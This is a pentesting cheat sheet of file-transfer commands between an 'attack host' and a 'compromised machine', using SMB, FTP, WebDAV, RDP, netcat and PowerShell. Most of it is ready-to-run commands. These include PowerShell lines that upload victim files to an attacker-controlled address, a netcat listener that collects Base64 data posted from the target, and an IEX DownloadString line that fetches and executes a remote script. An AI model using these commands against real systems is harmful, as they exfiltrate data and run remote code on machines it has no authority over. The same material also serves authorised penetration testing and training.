Uploading files via SMB (no credentials)¶
- Set up an SMB server
sudo impacket-smbserver hackfast -smb2support . - Map a network drive
net use z: \\[IP-ADDRESS]\hackfast - Upload a file via SMB
copy file.txt z:\file.txt
Uploading files via SMB (with credentials)¶
- Configure the SMB server using impacket-smbserver
sudo impacket-smbserver hackfast $(pwd) -smb2support -user hackfast -password hackfast - Configure the SMB server using smbserver.py
smbserver.py share . -smb2support -username hackfast -password hackfast - Map a network drive
net use z: \\[IP-ADDRESS]\hackfast /user:hackfast hackfast - Upload a file to the mapped drive
copy file.txt z:\file.txt
Uploading files via FTP¶
- Set up a write-enabled FTP server
sudo python3 -m pyftpdlib --port 21 --write - Upload a file using PowerShell
(New-Object Net.WebClient).UploadFile('ftp://[IP-ADDRESS]/file.txt', 'C:\Windows\Temp\file.txt') -
Automate FTP upload with a command file

PowerShell Base64 web upload with netcat¶
- Encode the file to Base64 (on Windows)
- Start a netcat listener to capture the POST request
nc -lvnp 8080 > received_b64.txt - Upload the Base64 string via HTTP POST
Invoke-WebRequest -Uri http://[IP-ADDRESS]:8080/ -Method POST -Body $b64 - Decode the Base64 string received via netcat
cat received_b64.txt | base64 -d > file_name
Uploading a file to a remote session¶
- Create a PowerShell remoting session
$Session = New-PSSession -ComputerName DATABASE01 - Copy a file from the local machine to the remote session
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Uploading files via WebDAV¶
- Install a WebDAV server
sudo pip3 install wsgidav cheroot - Start the WebDAV server
sudo wsgidav --host=0.0.0.0 --port=8081 --root=/tmp --auth=anonymous - List directory contents
dir \\[IP-ADDRESS]\DavWWWRoot - Copy a file to the WebDAV server
copy C:\Temp\file.zip \\[IP-ADDRESS]\DavWWWRoot\
Netcat file upload (sending)¶
On the attack host (listening):
- Using netcat
sudo nc -l -p 443 -q 0 < file_to_send.exe - Using ncat
sudo ncat -l -p 443 --send-only < file_to_send.exe
On the compromised machine (connecting):
- Using netcat
nc [IP-ADDRESS] 443 > received_file.exe - Using ncat
ncat [IP-ADDRESS] 443 --recv-only > received_file.exe
Uploading a file via RDP (Linux to Windows)¶
- Using rdesktop
rdesktop [IP-ADDRESS] -u [USERNAME] -p [PASSWORD] -r disk:linux='/home/user/rdesktop/files' - Using xfreerdp
xfreerdp /v:[IP-ADDRESS] /u:[USERNAME] /p:'[PASSWORD]' /drive:[NAME],[PATH]
Uploading files using PowerShell¶
- Download and load a PowerShell upload script
IEX (New-Object Net.WebClient).DownloadString('http://[IP-ADDRESS]:8000/PSUpload.ps1') - Upload a file using the script
Invoke-FileUpload -Uri http://[IP-ADDRESS]:8080/upload -File C:\Windows\Temp\file_name